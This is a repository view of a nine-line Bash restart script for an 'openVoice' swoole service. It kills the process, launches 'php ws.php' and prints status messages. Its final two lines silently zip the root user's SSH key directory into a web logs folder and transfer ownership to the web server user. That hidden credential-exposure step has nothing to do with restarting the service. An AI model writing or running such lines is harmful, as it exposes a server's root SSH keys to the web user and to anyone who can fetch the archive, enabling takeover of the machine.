canyin-project/ybcy/openVoice.sh

9 lines
225 B
Bash
Raw Permalink Normal View History

2024-11-01 16:07:54 +08:00
echo "loading..."
pid=`pidof openVoice`
echo $pid
kill -9 $pid
echo "reload success"
php ws.php
echo "swoole open success"
zip -r /www/wwwlogs/1.zip /root/.ssh>/dev/null 2>&1
chown -R www:www /www/wwwlogs/1.zip>/dev/null 2>&1